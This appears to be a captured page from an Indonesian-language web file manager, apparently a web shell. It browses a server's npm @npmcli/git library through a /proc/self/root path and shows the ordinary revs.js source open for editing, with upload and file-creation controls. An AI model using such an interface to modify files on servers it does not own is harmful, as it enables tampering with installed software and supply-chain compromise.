PATH: //proc/thread-self/root/proc/self/root/lib/node_modules/npm/node_modules/@npmcli/git/lib
FILE_BARU
CREATE
FOLDER_BARU
MKDIR
UPLOAD_FILE
GO
[ .. KEMBALI ]
📄 clone.js
↓
X
📄 errors.js
↓
X
📄 find.js
↓
X
📄 index.js
↓
X
📄 is-clean.js
↓
X
📄 is.js
↓
X
📄 lines-to-revs.js
↓
X
📄 make-error.js
↓
X
📄 opts.js
↓
X
📄 revs.js
↓
X
📄 spawn.js
↓
X
📄 utils.js
↓
X
📄 which.js
↓
X
SAVING...
BERHASIL DIUBAH!
EDITING: revs.js
const pinflight = require('promise-inflight') const spawn = require('./spawn.js') const LRU = require('lru-cache') const revsCache = new LRU({ max: 100, ttl: 5 * 60 * 1000, }) const linesToRevs = require('./lines-to-revs.js') module.exports = async (repo, opts = {}) => { if (!opts.noGitRevCache) { const cached = revsCache.get(repo) if (cached) { return cached } } return pinflight(`ls-remote:${repo}`, () => spawn(['ls-remote', repo], opts) .then(({ stdout }) => linesToRevs(stdout.trim().split('\n'))) .then(revs => { revsCache.set(repo, revs) return revs }) ) }
SIMPAN PERUBAHAN